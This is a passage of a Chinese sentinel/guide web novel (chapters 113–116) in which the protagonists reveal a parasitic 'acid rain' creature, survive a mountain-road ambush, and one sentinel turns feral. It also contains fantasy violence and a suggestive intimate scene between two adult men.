“……白塔研发的。”闻璱在弓铮皎身旁落下,一边检查自己的手,一边检查弓铮皎的情况,目光还一心三用地盯住了逄靥星的手。 他没问,但逄靥星已然心里有数,又让手掌变成了熊掌,在闻璱面前嘚瑟地摆了摆:“嘿嘿。” “怎么回事?”闻璱看他。 “我也不知道。”逄靥星在熊掌和人手之间来回切换,“好像无师自通地就这样了。” 说话时,舒颖也赶上来,她很迅速地张开嘴,生疏地像弓铮皎那样“哈气”——昙花一现地展示了一下同样拟态融合后变长的虎牙,或者说毒牙。 “我们遇到了酸雨,它确实会引发精神力过度活跃,但我发现,它似乎能够帮助我们学会‘调频’。”舒颖言简意赅。 闻璱惊讶:“详细说说。” “我们按照原计画地毯式布设监测仪巡逻,终于有一次遇到了酸雨,记录期间,这个人出现了。”舒颖指了指地上被五花大绑的宫博士,“他用弩箭和干扰器袭击我们,昏昏沉沉之中,我的精神图景里出现了一只既像飞蛾也像水母的东西,我想要抓住它却抓不到,尝试抓了好一会儿,醒来之后就发现,我已经拟态融合了一小部分。” 逄靥星打岔道:“是舌头,你知道我一回头看到她有两条分叉的舌头,给我吓一跳,以为你们一个个都玩这么花……” “……”闻璱暂时懒得理他,追问道,“然后呢?” “然后我发现,这个人很奇怪,他的向导素似乎能蛊惑我们。他在我们的营地呆了一会才离开,似乎是在找你和弓铮皎。他的弩箭确实很吓人,而且很警惕地一直调整着干扰器,我们不敢轻举妄动,就继续伪装着,可惜‘酸雨’过境之后,那只‘酸雨’也消失了。我们临走前还给你留了信,你没看到吗?” “看到了,谢谢。”闻璱道,“当时没想这么多。” 逄靥星叹气:“我就说当时应该给你画一副画像的,你要是看到画像,立刻就能反应过来留信的是我,也知道来者何人了。” 舒颖便问:“所以他是什么人?为什么能拿到这些白塔内部的设备?” “希冕创辉的宫博士。”闻璱指了指弓铮皎,“他的法律爹。” “普通人?”舒颖皱眉,“也是,怪不得那些设备对他无效。他找你又是为什……” 话没说完,她结合刚才所闻,心中已然有了猜想,脸色也沉凝下来。 “他换我作为新目标了,所以计画有变,他只能亲自动手。”闻璱摸索着下巴,“我猜希冕创辉最近或许不太平,他才能趁机分走了白塔、特种人这边的蛋糕,不过污染区毕竟受公会管制,他能插手的还是有限。” “好想把他灭口。”逄靥星用很认真的脸说出很逊的话,“这样就不会有人对你下手,也不会有人知道我的丢人事迹了。” “恰恰相反,他不能死。”闻璱按着弓铮皎的颈侧,“用他来攻击希冕创辉一本万利,这正是我们需要的。不过,千万不能让他被白塔那边提审,柳部长可能会直接跟他爆了,最好是交给公会的程主席。” “那这些人?”舒颖问。 顺着舒颖的目光看去,原来是一开始被震荡弹震晕过去,一直到现在还昏一地的彭枭小队。 闻璱淡然道:“把秃鹫和花豹翻出来我们带上,剩下的,撂这就行了。” “就只是这样?”逄靥星不服,“拜托,你对彭枭是不是太宽容了?” 闻璱摇了摇头,看着弓铮皎,眉宇之间隐隐有一丝顾虑:“现在没空管他,具体的,也等回去再说。” “他怎么了?看起来还好……我以为他只是被震得应激,现在晕过去了。”说到这里,逄靥星突然脸色一变,很刻意地放低音量,全然不顾这对舒颖来说仍然足以听得清清楚楚,“你们、你们刚刚是不是……!” 按说结合的频率波动不会引起其他特种人的关注,但逄靥星才无师自通了拟态融合的调频方法,现在回味起刚刚隐约察觉到的那股波动,就怎么想怎么不对头。 闻璱还没反应过来,下意识地跟舒颖说道:“对了,忘了跟你说,我也抓到了一只‘酸雨’,活的,现在正在我的精神图景里……你说什么?”他才看向逄靥星。 “我是说,”被忽略的逄靥星咬牙切齿道,“你们刚刚结合了?也战?还是人狩?这种危急关头,你也能玩得下去?” 舒颖:“!” 闻璱:“……” “当然没有。”闻璱也咬牙切齿,“你被震傻了吗?”他又是无语又有些恼怒地把弓铮皎扶起来堆到逄靥星背上,“你背着他!” 第113章 “结合。”闻璱冷冷道。 闻璱顺手给几个哨兵都急救式地安抚了一下。 离开的途中,秃鹫哨兵和花豹哨兵先后苏醒过来,在偷渡之前离开小队,从关卡正常出入。 剩下逄靥星和舒颖两个哨兵,以前就是在离开的途中被抓住过,现在还要带着两个昏迷的人偷渡离开,其实有些麻烦。 幸运的是金峙的效率很高,不需要闻璱站在电网边思考该怎么办,先行离开的金峙已经交完任务、将信息知会了金岸会长。 于是,公会管制下的关卡自然也能网开一面,甚至,公会的程主席亲自派人前来,将几人一并接走。 上车之后,副驾驶位西装革履的精英转过头,对闻璱微微一笑,露出了自己的工牌:会长助理。 他也是向导,但精神力级别不高,在公会服役年份很短,就进入了公会和基金会工作。 “闻先生,久仰大名。”助理恭维了一句,“主席和会长很想尽快见见您。” 闻璱并不意外地接受了“款待”。 只是路途中,闻璱才后知后觉地回过神来,他的手臂似乎已经不痛了。 离开时他们互相讨论过,宫博士的特制麻醉弹究竟是什么成分,对于别人来说这个问题可能要想破天,但对于闻璱来说,他知道柳部长的精神体情况,自然很快就联想到了正确答案。 金皮树精神体所带来的疼痛对于特种人来说非常棘手,特殊的成分会抑制精神力和细胞分裂,从而抑制哨兵的自我修复。 时间一长,疼痛不仅不会消解,反而会蔓延,伤口清创也是个麻烦事。 闻璱、逄靥星和舒颖各挨了一针,逄靥星和舒颖因为‘酸雨’带来的初次调频而精神力前所未有的活跃,并不觉得有什么,这不奇怪。 但闻璱早就是融合派,精神力情况并没有任何质变,本该随着时间越来越长,手越来越痛才对。 实际上,闻璱却几乎快要把这件事抛到脑后了。 他连忙揭开纱布检查自己的创口,只见一切正常,没有红肿、发炎、化脓的恶化,也没有诡异地直接消失,看起来就是很正常地在恢复。 疼痛亦然,彷佛这确实只是个普通的伤口,只是在中箭的当下会痛一会。 这不合理。 助理眼尖地通过后视镜看到闻璱有些困惑的神情,还以为他是为自己亲自来的阵仗而费解,解释道:“您不用担心,我们的目的地是公会总部,您常去的。” 闻璱无言地展开眉头,微微颔首。 过了一会,助理似乎收到了什么信息,拿出终端回头问:“闻先生,舒女士,介意先和我聊聊你们的研究吗?” 终端显示屏上显示着还未开始的录音接口。 闻璱和舒颖对视一眼,闻璱点头道:“可以。” 金峙早已把闻璱在污染区告知的情报一字一句地转述,初闻消息时,程主席当然是震惊到无以复加,甚至觉得这傻孩子又在犯傻了。 但在金岸会长的授意下,大抵已初步确认了部分信息的真实性。 此时此刻,助理也按捺住不可置信的心情,直入正题道:“对于‘酸雨’就是催化剂的来源这一点,您究竟有几分把握?” “几乎,十分。”闻璱淡道。 “什么?”助理失声道,“闻先生,现在不是开玩笑的时候。” “如果说之前还不确定,现在几乎能够确定了,几乎,也是因为还没有进行过实验留证。” 闻璱看了一眼舒颖,接收到对方颔首之后,发言人便换成了舒颖:“‘酸雨’确实是一种类水母变异生物,它的频率很特殊难以被独立观测,但会藉由骨骼寄宿进神经中。目前我们暂时认为,这种生物没有思考,只是遵循生物本能地移动。它主要的食物大概是精神力,但它并不追求宿主死亡,所以当查找到满意的长期宿主后,它甚至会帮助宿主存活。” “目前我们的推测是,特种人也是它获得精神力的宿主之一,但或许是因为我们的频率相差太远,绝大多数特种人对它来说可食用的精神力都过分微弱,因此,它会在进食之后在特种人身上留下一种物质,促使特种人精神力活跃、兴奋,从而产出更多的‘食物’。”舒颖顿了顿,“催化剂大概就是这种物质所合成的。” 助理作为特种人的三观被洗刷了一番,一边在震惊中记录着,一边点头表示在听。 “它作为催化剂能够提升的效率有多高,对特种人精神力的作用就有多明显,极易致使精神体、精神图景和身体机能异常,严重者可能致死。”闻璱继续道,“所以一旦上市,对特种人的影响会很大。公会依靠特种人运营,对公会的利益也可想而知。” 他下意识地剖出最直接的利益影响,而非打感情牌。 然而助理却叹了一声,道:“闻先生,我明白你的意思,但这件事即便不提利益,公会也不会放任的。” 事到如今公会选择来接应,已经算是一种支持的行为,实在没必要在口头上再拉扯什么。 闻言,闻璱一怔,不说全信,心里多少放下半分。 顿了顿,他继续道:“我们也有证据,但是,要等到了公会才能交出来。” 那只被‘关押’在闻璱精神图景里的‘酸雨’生物还有待研究,但还没人知道它该怎样现身、保存于外界,闻璱现在就是想交也交不出来。 助理善解人意地点了点头:“我明白。” 录音被关闭,助理立刻操纵备份、分享。 改装过的大车行驶在山路上,中间一排的逄靥星和舒颖见助理发送消息似乎没有任何困难,各自拿出终端尝试联系家人,却因信号不好而放弃。 坐在最后一排则垂下眉眼,凝视着膝头。 他看起来像是有些疲惫地小憩,实则心中并不平静,甚至说得上是有些焦虑了。 弓铮皎躺在闻璱膝头。 放在平时,这回他该抓住机会锁死闻璱的腰,一边蹭一边说些胡话了。 譬如…… 闻璱脑袋里不合时宜地冒出来之前的:你腰好细。 可惜现在有如此良机,弓铮皎却老实得简直不像话。 切断同频时,为求效果,闻璱利落地斩开了两人之间的所有连接,以至于他之前和弓铮皎之间的连接也就此离断,他无从得知弓铮皎此刻的精神状态。 闻璱思索片刻伸手按在他的眉心,再次尝试进入他的精神图景。 同样的事在过去的几个小时内已经发生过数次,但都没取得什么效果。 这一次也不例外。 闻璱成功地进入了精神图景,但庄园一派安然,只是内核再次封锁,哪里都见不到弓铮皎和阿咬的影子。 这不能完全算是个坏消息,能访问精神图景,至少说明哨兵没有进入无可逆转的神游阶段。 但不对劲之处也在这里。 如果是‘酸雨’带来的疼痛和震荡弹导致弓铮皎受冲击而昏迷,此时此刻精神图景里多少该因过量信息而淩乱,就像逄靥星、舒颖,也像秃鹫哨兵和花豹哨兵一样。 千不该万不该如此一排安然,彷佛什么都没有发生过。 安静得闻璱人在精神图景里,都能听到外界的说话声。 逄靥星静不下来,主动搭话:“这次回去之后,我要好好休息几天。” 舒颖没应声。 “你呢?对了,权冽是不是快要四个月了?孕检能查出性别吗?我是说特种人或者普通人。” “不能。” “啊?那就是我记错了,人造子宫孕育的胚胎好像就可以。” “嗯。” 干瘪的对话又进行了几轮,逄靥星忍无可忍,终于等到闻璱从精神图景里撤出来,立刻把求救的目光投过去。 然而闻璱也并没有心情陪他扯闲篇,面色凝重道:“没有失控,不是神游,似乎只是昏迷。但昏迷怎么可能昏成这样?去精神图景里都叫不醒。” 逄靥星迟疑道:“你们……真没那个?” 他是说结合。 结合之后的向导和哨兵之间存在永远都无法抹除的连接,就像在宇宙间数不清的频道里,就这样出现了一个从此只属于两人的私人频道,除了其中一方死亡,没有任何外力能让这个频道消失。 就像此时此刻,即便没有通信,他和冬歆亭仍然能互相感知。 闻璱凉凉地抬眼:“你想说什么?” 逄靥星还是不服,嘴硬道:“你们那个明明就是那个的波动,我看你是没经验,说不定是你忽略了,该听我的检查一下。” 闻璱干脆道:“那你转过去。” “干嘛?”逄靥星不明所以。 “结合。”闻璱冷冷道。 顿时,前座的助理都倒吸一口凉气,谨慎道:“闻先生,我们是在山路上,不太安全。” “是啊!我只是让你检查一下,不是让你当场那什么!”逄靥星怒道,“这可是在山路上,就算你在污染区、在战斗的时候都可以,但是现在我们可在同一辆车——” 他的话音戛然而止,石化在怒目圆睁的表情上。 太安静了,不只是弓铮皎的精神图景里安静,这段山路也太安静了,安静得逄靥星都听不到什么噪音。 是干扰器。 下一刻,逄靥星来不及多说,身体从前一排扭曲地拧过来,伸手按住闻璱的颈部,口中提醒道:“小心!” 可惜,还是不够快。 突如其来的爆炸让车里的每个人都因突变而有一瞬的恍惚。 舒颖的余光瞥见逄靥星已然扑向后排,自己便果断扑向前排,保护助理和司机。 火光里,大车猛然翻飞,自狭窄的山道而起,翻滚着落下山崖。 第114章 返祖? 闻璱是被舔醒的。 或者说,那是刮。 满是倒刺的舌头在闻璱浑身上下翻来覆去地舔,一遍又一遍。 闻璱的意识渐渐回笼,终于忍无可忍地在又一次被舔喉结的时候,一把擒住那只舌头—— 他睁开眼,发现黑的夜,好…… 好大的虎。 阿咬的身材本来就是庞大、巨大,比博物馆的骨架复原模型还要大好几圈,更接近于幻想种。 但此时此刻,闻璱身下的这只阿咬还要更再大几十上百倍,大得让人有点聚物恐惧症发作。 大小悬殊到,闻才意识到此时此刻自己就坐在阿咬的爪子上,即便站起来,确实也只有阿咬一颗匕首牙那么高。 四周一片漆黑,只有阿咬一个生物自发光一般地能被看到。 闻璱干脆又坐下了。 他要把头仰到最高才能看见刃齿虎的眼睛,是琥珀色。 是阿咬,只是精神体的阿咬,而不是融合态的弓铮皎。 那弓铮皎人呢? 奇怪的是,闻璱竟然也想不起来自己之前在做什么了。 他只是依稀记得,合上双眼之前,最后闪过眼前,停留在脑海里的,是弓铮皎的脸。 闻璱静静地回想了片刻,没有感受到任何大脑遭受创伤导致失忆的疼痛;他也打量四周,确定这绝对不是现实世界,大概又是意识进入了某个精神空间。 期间阿咬一直在没完没了地试图偷舔他。 一只巴掌大的小猫想要瞒天过海偷香一口是很容易的,但阿咬现在大得像天本身,动一下脑袋都对闻璱的眼前是小行星撞地球般的视觉观感,想要偷舔一口实在是掩耳盗铃的行为。 闻璱趁机抓住阿咬的一根胡须,制止住无法无天的动作。 “你怎么了?”他仰头问大老虎,“这里是哪?怎么放我出去?” 阿咬喉咙里滚出地鸣一般的呼噜声,似乎被扯胡须也很开心。 闻璱没听懂阿咬的意思,但这反应实在无需翻译。 他一个不留神,阿咬就再次大舌头袭击,用力过猛,直接把闻璱按倒在爪子上。 “等等……”闻璱应接不暇。 最终又被翻来覆去地舔了不知道多少圈。 反正阿咬只是一只大舔虎,也作不出什么离谱的事,他干脆放弃抵抗,一边任虎施为,一边沉下心来继续思考。 这是哪?他为什么会在这里?在这之前,又发生了什么? 弓铮皎人又在哪? 一概不知。 而在闻璱心心念念的现实世界——山里正下着一场暴雨,遮掩了林中掠过的金色影子。 雨水洗刷着事故的痕迹,还有血迹。 一辆轮胎脱落、车窗破碎,车门也少了一个的改装车被放在地上,几乎没发出太多声音,轻松得彷佛只是在茶几上放下一个纸杯。 然后,巨力的人随手卸掉其它车门,钻了进去。 他的身体在颤抖,也隐隐散发著热腾腾的白气,显然不是被雨水冲淋冷得打颤。 搜索了一会之后,他从车里拎出来一个人,放在地上检查。 表皮擦伤、关节处轻微软组织挫伤,好在肢体健全、生命体征平稳,似乎只是在遭遇冲击后昏了过去。 确定性命无虞之后,他又很快钻会车里,继续搜救。 等到第三个人被拎出来时,第一个人已经醒了过来。 一醒来,他就咳嗽着瞪大了眼睛,惊呼出声:“你醒了?”紧接着他立刻坐起身,视线在身旁几人身上只是短暂地停留,没有找到目标后,连忙又问:“闻璱呢?他没事吧?” 没有人回答他,只有人默然地又钻回车里,施救最后一个在车上的幸存者。 坐在地上的逄靥星也有些恍惚。 他并没有察觉到对方的异常,反而把沉默当成了某种默认,有些劫后余生的庆幸,也有些感慨道:“爆炸也就算了,那到底是什么东西?精神力音波弹?你是被震醒的吗?我的脑子现在还嗡嗡的……” 仍然没有人回答逄靥星,只是另一个人被丢到了逄靥星身旁。 几人的情况类似,都不严重,只是轻微挫伤和昏迷。 逄靥星第一时间从助理手里拿走了被紧握着的终端,触手微麻,他下意识地按下紧急调用,临拨出时,又返回锁屏。 他用助理的手指解开指纹锁,然后在通信录里查找到了“金岸会长”这个联系人拨通。 那边过了一会才接通,第一句话就是:“到哪里了?” “……你好,会长。”逄靥星说,“我是逄靥星,这次和闻璱一起进入污染区的哨兵。我们刚刚遭遇袭击,需要救援,坐标是……”他看了眼定位报出来,又环顾四周,在暴雨中大概描述了一下周边情况。 “怎么回事?”金岸沉声问,“有没有人员伤亡?” “事发时车辆爆炸,好像还有音波弹之类的武器,我们都失去意识了。”逄靥星道,“雨下得很大,一会可能会泥石流,或是滑坡,我们可能会向东转移。而且,这个终端有点漏电,估计离关机不远了,最好快点来。” “我知道了。”金岸应下,很快地安排起来。 逄靥星又看了看电量,这才挂断通话。 他顺手柄终端放进自己的战术口袋里,坐在地上就着雨水搓了搓脸,站起身道:“……幸好你先醒了,我们走吧,往东一点。不过还不能太冒进,山上说不定还有埋伏。” 说着,逄靥星自顾自地背起舒颖,又单手柄助理捞起来夹住,安排道:“你背司机——等等,闻璱人呢?” 话音落下时,天上一道闪电劈下,惨白的光打进山里,照出来一张面无表情的脸。 暴雨里,弓铮皎的头发却没有湿透,看起来只是微潮,浑身上下散发著白腾腾的热气,蓝紫色的眼睛却阴沉而冰冷,竖瞳眨也不眨地盯着逄靥星。 “喂,你怎么回事。”逄靥星终于察觉到有些不对了,“你发烧了?还是热潮期?闻璱呢?闻璱在哪?他有没有事?” 弓铮皎没有回答,只是继续看着他,像是野兽第一次见到人类的打量,叫人品出一丝莫名的恐怖来。 “你……”逄靥星又想说什么,还没来得及,弓铮皎突然解下战术腰带,丢在地上。 口袋散开,落出来许多只便携对讲机,部分已经只是藕断丝连的碎片,部分却还完好地闪着光。 黑色的机械里,还有一支耳机上带着一只耳朵,几乎顺带刮下来了半张脸的皮肉,没有新鲜的血丝,早就被雨水泡得发白发胀。 “这是什么?!”逄靥星也被惊了一下。 那只耳朵明显是个普通人的。 他在污染区执行过无数任务,对变异生物下手当然不在话下,但又不是什么法外狂徒,对普通人可从来没动过手。 弓铮皎看着他,又冷又热地吐出一个含糊的:“走。” 然后转身离开,转眼间,就消失在暴雨的山中。 逄靥星连忙道:“等等——闻璱呢?喂——” 他肩上背着一个人,腋下夹着一个人,追了几步就反应过来负重情况下不可能追得上。 可他也不能把其他人就这样原地丢下,只能眼睁睁地看着弓铮皎消失在视野里。 幸而肩头很快传来一声呻吟,也不知是被近在耳畔的大喊吵醒了,还是被颠醒的。 舒颖也咳了几声,有些虚弱地问道:“……胖队?你没事……闻队还好吗?大家都没事?” 意识混乱时,她又下意识地叫回了以前同在一个小队的称呼。 “我没事,但闻璱不见了。”逄靥星把她从肩头卸下,等她渐渐回笼,复述了一遍刚才发生的一切。 “星海能源埋伏了我们。”舒颖皱眉道,“有公会的接应他们还敢这样,真是疯了……这些耳机不是向导素通信设备,那就只能是普通人用的。是弓铮皎把埋伏我们的人都收拾掉了,所以让我们尽快离开?” “不知道,他状态不太对。”逄靥星摇了摇头,脸色也不太好,“你没问题吧?没有的话,那两个普通人交给你,我还得去找到闻璱。” 舒颖下意识地点了点头,又很快地说:“……不对。” “什么?” “那不是音波弹。”舒颖说,“我很确信,车没有掉下山崖,被什么东西截住了。临昏迷之前,我听到一声很清楚的虎哮,是弓铮皎救了我们?” “我……” “你也不知道。”舒颖沉吟片刻,接着道:“你说的没错,你继续去找闻璱,我带着这两个普通人先转移,尽快离开这里,回到公会,现在的当务之急是我们必须得有人回到公会——他们不知道证据在谁的手里,有人回去,才更有可能假作谈判让他们收手。” 逄靥星其实没想那么多,但他总明白舒颖肯定了自己的方案,把助理的漏电终端交给舒颖:“小心。” “……是你要小心。”舒颖有些迟疑地说,“你有没有闻到,我们的身上都有和这些耳机一样的气味?” 逄靥星一怔,低头嗅闻片刻:“是有,奇怪,这不是汽油味,难道是……那个催化剂的味道?” “催化剂无色无味。”舒颖摇头,“着是弓铮皎留下的标记,我能感觉到,因为……算了,不说了。总之,这不是什么好的标记,敌意很重。” 逄靥星回想起刚才弓铮皎的异常,心里已然信了半分:“他对我们敌意很重?可是,为什么?他还没告诉我闻璱在哪呢!” “就是因为你这样问他了吧?”舒颖却说,“他会留下这种标记,像示威一样,太原始了……你刚刚见到他的时候,他是不是有‘返祖’的症状?” 闻言,逄靥星大吃一惊:“返祖?我以为那只是一种传说!” “在闻璱和弓铮皎之前,在我们这趟之前,融合派也只是一种理论流派。”舒颖道,“很久以前就有这样的研究,哨兵神游之后会成为植物人,多数都会选择安乐死,至少保留些尊严。但也有案例说神游哨兵有极小的概率可能会‘返祖’,这词不贴切,实际上就是沦为失去理智和人性的疯子……” 逄靥星:“!”他骂了一句脏话,急道,“我没好好学这个,返祖了会怎么样?他不会把闻璱吃了吧?” “……说不准。”舒颖面色凝重,“但他刚才还是人形的话,应该还不算太严重,你得抓紧!” 一转头,逄靥星毫不耽搁,已经跑出一段不远的距离。 舒颖只能在心里祈祷他能顺利。 白塔有史以来最强的哨兵、融合派哨兵、最强的陆地精神体刃齿虎,这一切叠加起来……舒颖其实有点担心逄靥星这趟去只能是送菜。 只是她更清楚——不去不行,逄靥星不可能因为赢面不大就把闻璱丢下,而无论是帮助危险暗算中的这几个人,还是和弓铮皎为敌,从返祖哨兵的爪下捞出闻璱,都需要她离开寻求支持。 赶回公会,越快越好,这是她的任务。 第115章 我的乖狗狗。 闻璱似乎在大舔虎的爪子上睡了过去。 一觉醒来,他发现还在大舔虎的爪子上,但这次多了一个人。 弓铮皎把闻璱的一只手压在脸下面,睡得不要太幸福。 闻璱动了动手指,把弓铮皎戳醒。 “我们这是在哪?你的图景?为什么变成这样了?”闻璱问。 弓铮皎坐起身,先是“嗯”了一声,很快补充道:“外面是一个山洞。”唯独没有回答最后一个问题。 “为什么把我放在这里?”闻璱把手抽走,却没有彻底收回,而是活动了一下手指,又放回弓铮皎的腿上轻轻搭着,“是外面发生什么了吗?” “……我不知道。”弓铮皎说,“有危险。” “你不知道?”闻璱挑眉。 弓铮皎点了点头,眼神罕见的平静:“我不想知道。” 竟然不像谎言——以弓铮皎曾经撒谎的经历来看,这话居然是真情实感的。 这下闻璱也有些困惑了。 他看着弓铮皎握着自己的手,温柔地玩弄自己的手指,缓缓道:“我的记忆停留在给你过生日那天晚上,你捣乱,后来我们一边看星星一边睡着。我本该认为,这是一觉睡到了外太空的黑洞里,对吗?” 话音刚落,漆黑一片的地方还是漆黑一片,但阿咬的毛发上就出现了星星点点的亮光,像是粘贴了闪片贴纸。 闻璱十分赏光地欣赏了一下,继续道:“上一次醒来时,我认为我遗失了一段记忆,因为我总感觉在那之后还发生了什么,只是我不记得了。这一次醒来,这种感觉荡然无存,似乎只是做了一个很长的梦醒来就忘了……你在用精神力暗示我,你不想让我想起来这些吗?” 弓铮皎低垂着眼眸,什么也没说,手上的动作却渐渐停了。 于是,闻璱主动挠了挠弓铮皎的手心。 他专注地看着弓铮皎:“你知道我不喜欢这样。” 语气很温柔,没有秋后算账的意思。 也正是因为没有秋后算账的意思,反而让阿咬突然来劲,仰头咆哮了一声。 音量与它此刻的体型并不成正比,闻璱都做好了捂耳朵的准备,却只是虚惊一场。 “……我不是想把你关在这里,也不想伤害你。”弓铮皎伸手摸了摸闻璱的耳朵,“只是有点危险,在有人救你之前,你就呆在这里,可以吗?” “什么危险?”闻璱道,“我没那么脆弱,而且,你会保护我,为什么还在害怕?” 弓铮皎的脸色黯淡下来:“……我没保护好你。” “好不好,我说了才算。”闻璱微微一笑,“发生什么了?先讲给我听听。” “我真的也不知道。”弓铮皎说,“只是我能感觉到你很痛、你在紧张、你确实在危险之中,你不会因此而死,但你会受伤、会很痛苦,所以你才会在这里。” 闻璱眨了眨眼:“很痛?为什么?” “现在不痛了。”弓铮皎说着,把自己的手在闻璱的手背上按了按。 闻璱意识到,弓铮皎确实一直在沉迷于玩自己的手,而且是特定的左手,他对自己的右手似乎没有丝毫兴趣。 当然话也不能这么说,因为弓铮皎确实乐于探索他身体的每一部分,这个“每”里面从来没有一个例外——因此,左手受到格外优待这件事,可疑而又合理。 一时间,闻璱想了很多。 他不动声色道:“我……失去了一只手吗?” “怎么可能!”弓铮皎连忙道,“怎么可能?怎么会让你付出一只手的代价——” “那就好。”闻璱也稍微松了口气。 似乎弓铮皎也察觉到自己可着一只手玩的行迹过分可疑,闻璱问过之后,他就不再继续了。 他再次躺下,枕在闻璱的腿上,很细心地说:“你的腿也很好,更没有截瘫,我只是想说……” 微微一顿——他偏过头,抱住闻璱的腰,把脸埋了进去,声音闷闷的:“你腰真细。” “……”闻璱又为这突如其来的合乎情理行为更迷惑住了。 他没说什么,伸手按在弓铮皎的颈部,很认真地问:“那你有事吗?” “不好说……不算很有吧。”弓铮皎没抬头,“习惯了,对我来说,不算特别痛。” “为什么?” “因为我习惯了啊。” 闻璱掐了一下弓铮皎的喉结,力度不重,但喉结总是格外敏感的,顿时让弓铮皎抖了一下。 “好像也没有很习惯。” “这不算。”弓铮皎反驳,“这是爽的,你对我这样,我爽得要死——” “不说这个。”闻璱又揉了揉他喉结上的那个小指甲印,温声道,“你不想说那就不说,好了,睡觉。” 弓铮皎没想到一如既往的烧话并没有获得应有的恼羞成怒,反而获得了如此温柔小意的宽容,甚至连询问都到此为止,彷佛闻璱打算就这样哄着他直到永远。 他又有些不安定了,握住闻璱的手,喉头滚动:“……我不能睡。” 这一次,闻璱只是含着温和的笑意看着他,并没有再问“为什么”。 一股莫名的恼怒夹杂着被辜负的心酸涌上他心头,他忍不住反过来质问闻璱:“你这样子,是不是就为了哄着我,骗我放你走?” “……”闻璱有点无奈,“我想走不用骗你,下命令就行了。” “你!” “那你想让我下这个命令吗?” 弓铮皎又哑火了。 说实话,弓铮皎现在这种哪哪都不服动不动要冒一下尖的模样,闻璱已经很久没见了——上一次几乎可以追溯到在闻璱的工作室,他们还只是“饭友”关系的时候。 自从暴露了自己阴湿暗恋的真相之后,弓铮皎就夹着尾巴乖得像是被绝育之后没有脾气的家猫。 哦,还有一次,在去酒庄之前,一个短暂的小吵。 他认为这不过是人与人相处之间再正常不过的小摩擦,能够沟通交流就不是问题。 弓铮皎倾听,并且改得很快,这很好。 以那时的关系,闻璱尚且心平气和,现在就更不可能有什么被呛住的情绪了。 他只是看着弓铮皎,又问了一遍:“想要我下这个命令吗?” 弓铮皎并没有看他。 过了很久,弓铮皎才低声道:“想。但不是现在。” “那你现在想要什么命令,我的乖狗狗?”闻璱善解人意地满足这个总被挂在嘴边的“要求”。 弓铮皎这回终于顺从地没有就这个问题和闻璱互相推诿。 他思索片刻,很违心也很装地说:“我想就这样抱着你。” “我猜不是。”闻璱道,“你向来是个不会撒谎,也不诚实的坏狗。” “我……” “下去。”闻璱忽然一把推开弓铮皎。 他站起身,眼见弓铮皎一脸懵地也想要起身,却伸手按住弓铮皎的肩膀。 指尖在肩膀上流连,摩挲过脖颈皮肤的绒毛,又轻盈地勾勒过下颌、耳垂,最终,让那只耳朵变成了毛茸茸的兽耳。 然后,闻璱温柔地问他:“尾巴呢?” 于是,为了把尾巴交到闻璱手里,弓铮皎转过了身。 他跪在闻璱身前,却背对着闻璱,只能感觉到闻璱似乎也蹲了下来,有一下没一下地把尾巴尖绕在掌心把玩。 他听到闻璱轻声吩咐:“不许说话。” “不许看着我。” “不许动手。” 那只手在弓铮皎的后腰轻轻一按,弓铮皎就不自觉地软了下去,又顾忌着闻璱“不许动手”的命令而不敢伸手去撑。 他只能伏在地上,虽然地面就是阿咬的爪子。 身上的衣服自然而然地消失,弓铮皎侧脸贴着地面,不知道闻璱现在是否也赤裸着,因为闻璱也说,不许看。 尾巴被闻璱绕过弓铮皎的腿根缠了两圈,然后再次用力一抽——扯得两退张得更开。 “我有说允许你张开吗?”身后的声音似笑非笑,“并拢。” 弓铮皎就只能听话地和自己的尾巴做对抗,然而,在某些挑都下,这可比在浴池里那一次困难得多。 闻璱温和地下达最后一条命令:“也不许你……标记我。”。 等到弓铮皎被允许说话时,一切已经都结束了。 他翻身的第一件事就是骑在闻璱身上,有些不可置信地问:“你不标记?” 天地良心,他用尽了意志力来忍耐在刚才遵守闻璱的指令不去标记,本以为是闻璱想要掌握主动权,却没想到闻璱更“克制”,到最后,也没有标记。 闻璱并不推拒,反问道:“你知道现在标记意味着什么?” 意味着结合——当然,他们早就尝试过擦边同频,身心都算是跨越了这道“第一次”亲密行为的坎,这又是在意识到世界里……所有因素叠加起来,刚才自然而然地寻求那个独一无二的频道。 闻璱笑了一下,眼下一抹犹未全褪地潮红便格外惹眼。 他似乎也察觉到自己的脸颊尚有余温,伸手轻轻拂过,淡然道:“你不希望这件事现在发生,不是吗?我只是尊重你的意见。” 简直是晴天霹雳,弓铮皎恨不得把过去的自己毒哑。 可他又突然想到:“你怎么知道?” 闻璱的记忆不是停留在水盘镇的时候吗? 闻言,闻璱挑了挑眉:“原来你真的说过这样的话。” 这不是个很复杂的推理,闻璱确信自己损失的记忆绝非一天两天,可从刚才来看,他们明明就至少进行过同频的尝试,为什么没有结合? 他不认为自己会抵触,就只能是弓铮皎——虽然他其实也不太能想像,弓铮皎居然会拒绝。 就这样,一句话诈出来了,确实如此。 哪怕知道闻璱绝不会因为这件事内耗,弓铮皎还是下意识地解释:“我当时并不是那个意思,而且现在我改主意了。” 他定定地看了闻璱几秒,一字一顿说:“标记我,和我结合吧。” 闻璱却轻描淡写道:“下次有空一定。” “不行,就现在。”弓铮皎咬牙切齿,“就算死我也要先和你结合,你大可以去洗标记,或者等待它自然代谢,你想在我的葬礼上相亲都没关系……只要这个宇宙里,曾经有过一个只属于我们两个人的小世界。” “希望我‘死’之后,我的意识会永远在那里。” 闻璱听出他话中有话,双眼微眯:“又想寻死?” 弓铮皎没有应声。 漆黑的世界逐渐淡化,露出山洞的景象。 闻璱眨了眨有些干涩的眼睛,鼻息之间嗅到潮湿的水汽、混杂着泥土的腥气,脑袋里也突然涌入大量记忆。 但那些都不太重要,夺走闻璱全部注意力的是眼前。 弓铮皎坐在地上,侧过身来将闻璱紧紧抱在怀里,闻璱看不见他的脸,却能看见眼前的背肌鼓动着,皮肉下的脊椎似乎也在震颤,叫嚣着想要……撑开血肉。 闻璱的脑袋里蓦然响起那个声音。 熟悉的、陌生的、像水母也像飞蛾的生物在笼子里说:“宿主、宿主?宿主!” 不是返祖,或者说,不是过量信息或是神游导致的返祖。 是那个生物,‘酸雨’。 它在污染弓铮皎,将弓铮皎“改造”成完美的长期宿主。 第116章 “标记我。” 闻璱掐住弓铮皎的下巴,硬生生把肩头的脑袋拔起来,拧到了自己面前。 “那个生物现在在我的精神图景里。”闻璱说,“很稳定、虚弱,无法对我造成影响。” 弓铮皎:“我知道。” “那为什么它能作用于你?你干了什么?”闻璱认真道,“在你昏迷不醒期间,你干了什么?” 如果是被‘酸雨’污染而昏迷,他确信弓铮皎一定趁无法被观测期间做了什么……否则,怎么可能变成这样。 